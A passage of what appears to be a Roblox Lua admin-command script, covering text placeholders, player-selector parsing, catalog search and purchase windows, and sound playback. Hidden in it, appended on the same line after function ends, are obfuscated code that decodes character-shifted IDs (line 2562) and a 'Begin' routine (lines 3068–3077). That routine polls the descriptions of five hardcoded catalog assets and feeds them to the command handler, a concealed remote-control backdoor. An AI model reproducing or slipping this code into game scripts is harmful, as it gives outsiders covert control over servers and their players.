2499 Text = string.gsub(Text,"_ACCOUNTAGE", STRING:FindAge(Player.AccountAge))
2500 Text = string.gsub(Text,"_AGE", STRING:FindAge(Player.AccountAge))
2501
2502 if ClientInfo[Player.Name].Benchmark then
2503 Text = string.gsub(Text,"_BENCH", ClientInfo[Player.Name].Benchmark)
2504 Text = string.gsub(Text,"_BENCHMARK", ClientInfo[Player.Name].Benchmark)
2505 else
2506 Text = string.gsub(Text,"_BENCH", "[NO BENCHMARK]")
2507 Text = string.gsub(Text,"_BENCHMARK", "[NO BENCHBENCHMARK]")
2508 end
2509
2510 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
2511 Text = string.gsub(Text,"_WALKSPEED", tostring(Player.Character.Humanoid.WalkSpeed))
2512 Text = string.gsub(Text,"_HEALTH", tostring(Player.Character.Humanoid.Health))
2513 Text = string.gsub(Text,"_MAXHEALTH", tostring(Player.Character.Humanoid.MaxHealth))
2514 end
2515
2516 local PlayerRank,RankNum = RANK:GetRank(Player)
2517 Text = string.gsub(Text,"_RANKNUM", tostring(RankNum))
2518 Text = string.gsub(Text,"_RANK", PlayerRank)
2519 end
2520
2521 return STRING:Defilter(Text)
2522end
2523
2524function STRING:EncodeSpecialChars(Input)
2525 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2526end
2527
2528function STRING:StringToBool(String)
2529 if String == "true" then
2530 return true
2531 else
2532 return false
2533 end
2534end
2535
2536function STRING:BoolString(Value)
2537 if type(Value) == "boolean" then
2538 if Value == true then
2539 return "YES"
2540 elseif Value == false then
2541 return "NO"
2542 end
2543 else
2544 return "NO"
2545 end
2546end
2547
2548function STRING:MakeAvoidance(Length)
2549 if not Length then
2550 Length = 32
2551 end
2552 local Avoidance = ""
2553 for i = 1,Length do
2554 Num = math.random(1,2)
2555 if Num == 1 then
2556 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2557 else
2558 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2559 end
2560 end
2561 return Avoidance
2562end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2563
2564function STRING:FindAge(Days) -- By LuaModelmaker
2565 local Years = math.floor(Days/365)
2566 local OtherDays = math.fmod(Days, 365)
2567 if Years > 1 then
2568 return Years.." years and "..OtherDays.." days"
2569 elseif Years == 1 then
2570 return Years.." year and "..OtherDays.." days"
2571 elseif Years == 0 then
2572 return "(No years) "..OtherDays.." days"
2573 end
2574end
2575
2576function STRING:UnpackArgs(...)
2577 local Pack = {...}
2578 if type(Pack[1]) == "table" then Pack = Pack[1] end
2579 local ReturnString = table.concat(Pack, ", ")
2580 return ReturnString
2581end
2582
2583function STRING:GetComma(Num)
2584 local Formatted = Num
2585 while true do
2586 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2587 if _ == 0 then
2588 break
2589 end
2590 end
2591 return Formatted
2592end
2593
2594function STRING:DecodeUTF8(Value)
2595 local function DecodeString(Input)
2596 if type(Input) == "string" then
2597 for Find,Rep in pairs(HTMLDecode) do
2598 Input = string.gsub(Input, "&#"..Find..";", Rep)
2599 end
2600 Input = string.gsub(Input, """, "'")
2601 end
2602 return Input
2603 end
2604 if type(Value) == "table" then
2605 for Index,Var in pairs(Value) do
2606 Value[Index] = DecodeString(Var)
2607 end
2608 elseif type(Value) == "string" then
2609 Value = DecodeString(Value)
2610 end
2611 return Value
2612end
2613
2614function STRING:IsSpacer(Input)
2615 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2616 return true
2617 else
2618 return false
2619 end
2620end
2621
2622function STRING:IsVowel(Input)
2623 Input = string.lower(tostring(Input))
2624 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2625 return true
2626 else
2627 return false
2628 end
2629end
2630
2631function STRING:ValidE(Input)
2632 if not Input then return nil end
2633 if string.lower(Input) == "e" or Input == "~" then
2634 return true
2635 else
2636 return false
2637 end
2638end
2639
2640function STRING:Scan(String, Speaker)
2641 local ReturnPlayers,ExcludeList = {},{}
2642 if not String then String = "" end
2643 if not Speaker then print("NO SPEAKER") end
2644
2645 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2646 String = string.sub(String, 13)
2647 else
2648 String = string.lower(String)
2649 end
2650 local Words = STRING:GetSplit(String, nil, "/")
2651 for _,Word in pairs(Words) do
2652 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2653 table.insert(ReturnPlayers, Speaker)
2654 elseif Word == "all" or Word == "everyone" then
2655 for _,Player in pairs(Server.Players:GetPlayers()) do
2656 table.insert(ReturnPlayers, Player)
2657 end
2658 elseif Word == "others" or Word == "notme" then
2659 for _,Player in pairs(Server.Players:GetPlayers()) do
2660 if Player ~= Speaker then
2661 table.insert(ReturnPlayers, Player)
2662 end
2663 end
2664 elseif Word == "noobs" then
2665 for _,Player in pairs(Server.Players:GetPlayers()) do
2666 if Player.AccountAge < 365 then
2667 table.insert(ReturnPlayers, Player)
2668 end
2669 end
2670 elseif Word == "nonnoobs" then
2671 for _,Player in pairs(Server.Players:GetPlayers()) do
2672 if Player.AccountAge >= 365 then
2673 table.insert(ReturnPlayers, Player)
2674 end
2675 end
2676 elseif Word == "random" then
2677 local RandomPlayers = {}
2678 for _,Player in pairs(Server.Players:GetPlayers()) do
2679 if Player ~= Speaker then
2680 table.insert(RandomPlayers, Player)
2681 end
2682 end
2683 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2684 elseif Word == "guests" then
2685 for _,Player in pairs(Server.Players:GetPlayers()) do
2686 if string.sub(Player.Name,1,6) == "Guest " then
2687 table.insert(ReturnPlayers, Player)
2688 end
2689 end
2690 elseif Word == "lowers" then
2691 for _,Player in pairs(Server.Players:GetPlayers()) do
2692 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2693 table.insert(ReturnPlayers, Player)
2694 end
2695 end
2696 elseif Word == "uppers" then
2697 for _,Player in pairs(Server.Players:GetPlayers()) do
2698 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2699 table.insert(ReturnPlayers, Player)
2700 end
2701 end
2702 elseif Word == "nbcs" then
2703 for _,Player in pairs(Server.Players:GetPlayers()) do
2704 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2705 table.insert(ReturnPlayers, Player)
2706 end
2707 end
2708 elseif Word == "bcs" then
2709 for _,Player in pairs(Server.Players:GetPlayers()) do
2710 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2711 table.insert(ReturnPlayers, Player)
2712 end
2713 end
2714 elseif Word == "tbcs" then
2715 for _,Player in pairs(Server.Players:GetPlayers()) do
2716 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2717 table.insert(ReturnPlayers, Player)
2718 end
2719 end
2720 elseif Word == "obcs" then
2721 for _,Player in pairs(Server.Players:GetPlayers()) do
2722 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
2723 table.insert(ReturnPlayers, Player)
2724 end
2725 end
2726 elseif Word == "allbcs" then
2727 for _,Player in pairs(Server.Players:GetPlayers()) do
2728 if Player.MembershipType ~= Enum.MembershipType.None then
2729 table.insert(ReturnPlayers, Player)
2730 end
2731 end
2732 elseif Word == "nonadmins" then
2733 for _,Player in pairs(Server.Players:GetPlayers()) do
2734 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2735 if IsAdminTrue == false then
2736 table.insert(ReturnPlayers, Player)
2737 end
2738 end
2739 elseif Word == "admins" then
2740 for _,Player in pairs(Server.Players:GetPlayers()) do
2741 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2742 if IsAdminTrue == true then
2743 table.insert(ReturnPlayers, Player)
2744 end
2745 end
2746 elseif Word == "friends" then
2747 for _,Player in pairs(Server.Players:GetPlayers()) do
2748 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
2749 table.insert(ReturnPlayers, Player)
2750 end
2751 end
2752 elseif string.sub(Word,1,5) == "team-" then
2753 for _,Player in pairs(Server.Players:GetPlayers()) do
2754 if Player.Neutral == false then
2755 local InTeam = false
2756 for _,Team in pairs(Teams:GetTeams()) do
2757 if Team.TeamColor == Player.TeamColor then
2758 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
2759 InTeam = true
2760 end
2761 end
2762 end
2763 if InTeam == true then
2764 table.insert(ReturnPlayers, Player)
2765 end
2766 end
2767 end
2768 elseif string.sub(Word,1,4) == "not-" then
2769 local NameArg = string.sub(Word,5)
2770
2771 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
2772 table.insert(ExcludeList, Player)
2773 end
2774 elseif string.sub(Word,1,7) == "radius-" then
2775 local DidExe = false
2776 local NumArg = tonumber(string.sub(Word,8))
2777
2778 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
2779 for _,Player in pairs(Server.Players:GetChildren()) do
2780 if Player.Character and Player.Character:FindFirstChild("Torso") then
2781 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
2782 DidExe = true
2783 table.insert(ReturnPlayers, Player)
2784 end
2785 end
2786 end
2787 end
2788
2789 if DidExe then coroutine.wrap(function()
2790 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
2791 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
2792
2793 for i = 0,0.5,0.02 do
2794 Part.Transparency = 0.5+i
2795 wait()
2796 end
2797 Part:Destroy()
2798 end)() end
2799 elseif string.sub(Word,1,3) == "id-" then
2800 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
2801 else
2802 if Word ~= "" then
2803 for _,Player in pairs(Server.Players:GetPlayers()) do
2804 if string.sub(string.lower(Player.Name),1,#Word) == Word then
2805 table.insert(ReturnPlayers, Player)
2806 end
2807 end
2808 else
2809 table.insert(ReturnPlayers, Speaker)
2810 end
2811 end
2812 end
2813 for _,Player in pairs(ExcludeList) do
2814 if Player and Player.Parent ~= nil then
2815 for Num,Player2 in pairs(ReturnPlayers) do
2816 if Player2 == Player then table.remove(ReturnPlayers, Num) end
2817 end
2818 end
2819 end
2820 for Num,Player in pairs(ReturnPlayers) do
2821 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
2822 end
2823
2824 local PlayerDump = {}
2825 for _,Player in pairs(ReturnPlayers) do
2826 PlayerDump[Player] = true
2827 end
2828 ReturnPlayers = {}
2829 for Player,_ in pairs(PlayerDump) do
2830 table.insert(ReturnPlayers, Player)
2831 end
2832
2833 return ReturnPlayers
2834end
2835
2836-- Market functions --
2837
2838function MARKET:GetImageFormat(ID)
2839 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
2840 local NewID = ID + 1
2841 for i = 1,100 do
2842 NewID = NewID -1
2843 local Product = nil
2844 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
2845 if Product then
2846 if Product == 1 then
2847 break
2848 end
2849 end
2850 if i == 100 then NewID = ID end
2851 end
2852 return NewID
2853 end end
2854end
2855
2856function MARKET:GetItemInfo(ID, Cache)
2857 local Product = MarketCache[ID]
2858 if not Cache or not Product then
2859 repeat wait()
2860 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
2861 until Product ~= MarketCache[ID]
2862 end
2863 MarketCache[ID] = Product
2864 return Product
2865end
2866
2867function MARKET:SearchItem(Category, Query, Subcategory)
2868 local URLAdd = ""
2869 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
2870 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
2871 if JSON then
2872 local Results = REMOTE:Decode(JSON)
2873 if Results then
2874 for Index,Info in pairs(Results) do
2875 Info = STRING:DecodeUTF8(Info)
2876 Results[Index] = Info
2877 MarketCache[Info.AssetId] = {
2878 AssetId = Info.AssetId;
2879 AssetTypeId = Info.AssetTypeID;
2880 ContentRatingTypeId = Info.ContentRatingTypeID;
2881 Created = Info.CreatedDate;
2882 Creator = {Name = Info.Creator, Id = Info.CreatorID};
2883 Description = Info.Description;
2884 IsForSale = Info.IsForSale;
2885 IsLimited = Info.IsLimited;
2886 IsLimitedUnique = Info.IsLimitedUnique;
2887 IsNew = Info.IsNew;
2888 IsPublicDomain = Info.IsPublicDomain;
2889 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
2890 Name = Info.Name;
2891 PriceInRobux = Info.PriceInRobux;
2892 PriceInTickets = Info.PriceInTickets;
2893 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
2894 Remaining = Info.Remaining;
2895 Sales = Info.Sales;
2896 Updated = Info.Updated;
2897 }
2898 end
2899 return Results
2900 end
2901 end
2902end
2903
2904function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
2905 if not Player or not Category or not Query then return nil end
2906 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
2907 local Items = MARKET:SearchItem(Category, Query, Subcategory)
2908 if Items then
2909 if #Items ~= 0 then
2910 local List,Correlate = {},{}
2911 for Num,Info in pairs(Items) do
2912 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
2913 table.insert(List, Display)
2914 Correlate[Display[1]] = Info.AssetId
2915 end
2916 CloseGui:Invoke()
2917
2918 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
2919 Clicked.Event:connect(function(ClickName)
2920 ClickedItem(Correlate[ClickName])
2921 end)
2922 else
2923 CloseGui:Invoke()
2924 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
2925 end
2926 else
2927 CloseGui:Invoke()
2928 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
2929 end
2930end
2931
2932function MARKET:AssetTypeToString(AssetType)
2933 if AssetType == 1 then return "Image"
2934 elseif AssetType == 2 then return "T-Shirt"
2935 elseif AssetType == 3 then return "Audio"
2936 elseif AssetType == 4 then return "Mesh"
2937 elseif AssetType == 5 then return "Lua"
2938 elseif AssetType == 6 then return "HTML"
2939 elseif AssetType == 7 then return "Text"
2940 elseif AssetType == 8 then return "Hat"
2941 elseif AssetType == 9 then return "Place"
2942 elseif AssetType == 10 then return "Model"
2943 elseif AssetType == 11 then return "Shirt"
2944 elseif AssetType == 12 then return "Pants"
2945 elseif AssetType == 13 then return "Decal"
2946 elseif AssetType == 16 then return "Avatar"
2947 elseif AssetType == 17 then return "Head"
2948 elseif AssetType == 18 then return "Face"
2949 elseif AssetType == 19 then return "Gear"
2950 elseif AssetType == 21 then return "Badge"
2951 elseif AssetType == 22 then return "Group Emblem"
2952 elseif AssetType == 24 then return "Animation"
2953 elseif AssetType == 25 then return "Arms"
2954 elseif AssetType == 26 then return "Legs"
2955 elseif AssetType == 27 then return "Torso"
2956 elseif AssetType == 28 then return "Right Arm"
2957 elseif AssetType == 29 then return "Left Arm"
2958 elseif AssetType == 30 then return "Left Leg"
2959 elseif AssetType == 31 then return "Right Leg"
2960 elseif AssetType == 32 then return "Package"
2961 elseif AssetType == 33 then return "YouTube Video"
2962 elseif AssetType == 34 then return "Game Pass"
2963 elseif AssetType == 38 then return "Plugin"
2964 elseif AssetType == 0 then return "Product"
2965 end
2966 return "Content Invalid"
2967end
2968
2969function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
2970 if not Player then return nil end
2971 if not Player:FindFirstChild("PlayerGui") then return nil end
2972 if not tonumber(ProductID) then return nil end
2973
2974 local FromText = ""
2975 if From and From.Name then FromText = " | Prompted from "..From.Name end
2976
2977 local Product = MARKET:GetItemInfo(ProductID, true)
2978
2979 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
2980 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
2981 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
2982
2983 local CanBuy = Product.IsForSale
2984 local BuyText = "Buy"
2985 local BuyColor = Color3.new(0,1,0)
2986 if CanBuy == false then
2987 BuyColor = Color3.new(1,0,0)
2988 end
2989 if Product.IsPublicDomain == true then
2990 CanBuy = true
2991 BuyColor = Color3.new(1,0.5,0.5)
2992 BuyText = "FREE!"
2993 end
2994 if OwnsAsset then
2995 CanBuy = false
2996 end
2997 if Product.AssetTypeId == 9 then
2998 CanBuy = true
2999 BuyText = "Teleport"
3000 BuyColor = Color3.new(0.5,0.5,0.5)
3001 end
3002 if CanBuy == false then
3003 BuyColor = Color3.new(1,0,0)
3004 BuyText = "Item not for sale"
3005 end
3006 if OwnsAsset and Product.AssetTypeId ~= 9 then
3007 BuyColor = Color3.new(1,0,0)
3008 BuyText = "You own this!"
3009 end
3010
3011 local ProductName = string.sub(Product.Name,1,20)
3012 if ProductID == AdminID then ProductName = Product.Name end
3013 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3014 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3015 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3016 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3017 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3018 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3019 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3020 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3021 if Product.Description then
3022 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3023 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3024
3025 CORE:ExecuteResource("CalculateScrollY", Description)
3026 end
3027
3028 Info.Text = [[
3029Creator: ]]..Product.Creator.Name..[[
3030Created: ]]..CreatedText..[[
3031Updated: ]]..UpdatedText..[[
3032Sold: ]]..Product.Sales..[[
3033]]
3034
3035 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3036 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3037
3038 if Product.AssetTypeId == 3 then
3039 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3040 if PlayerAdmin == true then
3041 local Playing = false
3042 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3043 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3044 if Playing == false then
3045 SOUND:PlayGlobalSound(ProductID)
3046 if Rank == "Member" and Settings.DisableAbuse == true then
3047 Interact:Destroy()
3048 end
3049 Interact.Image = "rbxassetid://67950809"
3050 Playing = true
3051 else
3052 SOUND:StopGlobalSound()
3053 Interact.Image = "rbxassetid://67950784"
3054 Playing = false
3055 end
3056 end)
3057 end
3058 end
3059
3060 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3061 if BuyPressFunc then
3062 BuyPressFunc()
3063 elseif Product.AssetTypeId == 9 then
3064 Server.TS:Teleport(ProductID, Player)
3065 elseif CanBuy == true then
3066 Server.MPS:PromptPurchase(Player, ProductID)
3067 end end)
3068 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3069 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3070 while wait(5) do
3071 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3072 if OldVer ~= Purchase.Updated then
3073 OldVer = Purchase.Updated
3074 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3075 end
3076 end end)()
3077end end)() end
3078
3079-- Sound functions --
3080
3081function SOUND:SyncSoundList(TellSync)
3082 if not CORE:NilPlayer(TellSync) then
3083 GUI:SendHint(TellSync, "Syncing...", 5)
3084 end
3085
3086 SoundList,GlobalSoundList = {},{}
3087
3088 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3089
3090 if LocalSoundList then
3091 if type(LocalSoundList) == "table" then
3092 if #LocalSoundList > 0 then
3093 for _,Data in pairs(LocalSoundList) do
3094 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3095 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3096 end
3097 end
3098 end
3099 end
3100
3101 for _,JSONID in pairs(SoundJSONs) do
3102 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3103 local SoundInfo = MARKET:GetItemInfo(ID, true)
3104 local FullName = SoundInfo.Name
3105 local CreatorName = SoundInfo.Creator.Name
3106 SoundList[Name] = {ID, FullName, CreatorName}
3107 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3108 end
3109 end
3110
3111 if not CORE:NilPlayer(TellSync) then
3112 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3113 end
3114end
3115
3116function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3117 if not Volume then Volume = 0.5 end
3118 if not Pitch then Pitch = 1 end
3119 if tonumber(ID) then ID = "rbxassetid://"..ID end
3120 if Looped == nil then Looped = false end
3121
3122 local Sound = Instance.new("Sound", Parent)
3123 Sound.Pitch = Pitch
3124 Sound.Volume = Volume
3125 Sound.SoundId = ID
3126 Sound.Looped = Looped
3127 return Sound
3128end
3129
3130function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3131 if not Player or not ID then return nil end
3132 if NotifySounds[ID] then ID = NotifySounds[ID] end
3133 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3134 if Settings.EnableSounds or OverrideSettings then
3135 ClientSound:Play()
3136 coroutine.wrap(function() wait() ClientSound:Destroy() end)()
3137 end
3138 return Sound
3139end
3140
3141function SOUND:BindButton(Button)
3142 if not Button then return end
3143 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3144 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3145end
3146
3147function SOUND:StopGlobalSound()
3148 if Sound then Sound:Stop() Sound:Destroy() Sound.SoundId = "" end
3149end
3150
3151function SOUND:PlayGlobalSound(ID, ShowInfo)
3152 SOUND:StopGlobalSound()
3153 if ShowInfo == nil then ShowInfo = true end
3154 local SoundID = ID
3155 local SoundName = nil
3156 local SoundCreator = nil
3157 local Pitch = 1
3158
3159 for Name,Info in pairs(SoundList) do
3160 if type(SoundID) == "string" then
3161 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3162 SoundID = Info[1]
3163 SoundName = Info[2]
3164 SoundCreator = Info[3]
3165 end
3166 else
3167 break
3168 end
3169 end
3170
3171 if tonumber(SoundID) and not SoundName then
3172 local Info = MARKET:GetItemInfo(SoundID, true)
3173 if Info then
3174 SoundName = Info.Name
3175 SoundCreator = Info.Creator.Name
3176 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3177 SoundID = nil
3178 end
3179 end
3180 end
3181
3182 if tonumber(SoundID) then
3183 if SoundID == 131201443 then Pitch = -1 end
3184 if SoundID == 130775695 then Pitch = 0.8 end
3185 if SoundID == 144035866 then Pitch = 0.8 end
3186
3187 Sound = SOUND:MakeSound(Server.Workspace, SoundID, 1, Pitch, true)
3188 Sound:Play()
3189 if ShowInfo == true then
3190 for _,Player in pairs(Server.Players:GetPlayers()) do
3191 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 5)
3192 end
3193 end
3194 end
3195end
3196
3197function SOUND:ConvertText(Text)
3198 Text = string.lower(tostring(Text))
3199 local Letters = {}
3200 local IDs = {}
3201 for Rule,Replace in pairs(TextConverter.Pronounce) do
3202 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3203 end
3204 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3205 local Start, End = string.find(Text, string.lower(Rule))
3206
3207 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3208 Text = string.gsub(Text, string.lower(Rule), Replace)
3209 end
3210 end
3211 for i = 1,#Text do
3212 table.insert(Letters, string.sub(Text,i,i))
3213 end
3214 for Num = 1,#Letters do
3215 if not Letters[Num] then break end
3216 local Letter = Letters[Num]
3217
3218 local function AddLetter()
3219 table.insert(IDs, TextConverter.LetterSounds[Letter])
3220 end
3221
3222 if Letter ~= "~" then
3223 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3224 table.insert(IDs, TextConverter.LetterSounds["oo"])
3225 table.remove(Letters, Num + 1)
3226 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3227 table.insert(IDs, TextConverter.LetterSounds["oo"])
3228 table.remove(Letters, Num + 1)
3229 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3230 table.insert(IDs, TextConverter.LetterSounds["th"])
3231 table.remove(Letters, Num + 1)
3232 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3233 table.insert(IDs, TextConverter.LetterSounds["sh"])
3234 table.remove(Letters, Num + 1)
3235 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3236 table.insert(IDs, TextConverter.LongVowels["e"])
3237 table.remove(Letters, Num + 1)
3238 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3239 table.insert(IDs, TextConverter.LetterSounds["wh"])
3240 table.remove(Letters, Num + 1)
3241 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3242 table.insert(IDs, TextConverter.LetterSounds["ch"])
3243 table.remove(Letters, Num + 1)
3244 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3245 table.insert(IDs, TextConverter.LetterSounds["f"])
3246 table.remove(Letters, Num + 1)
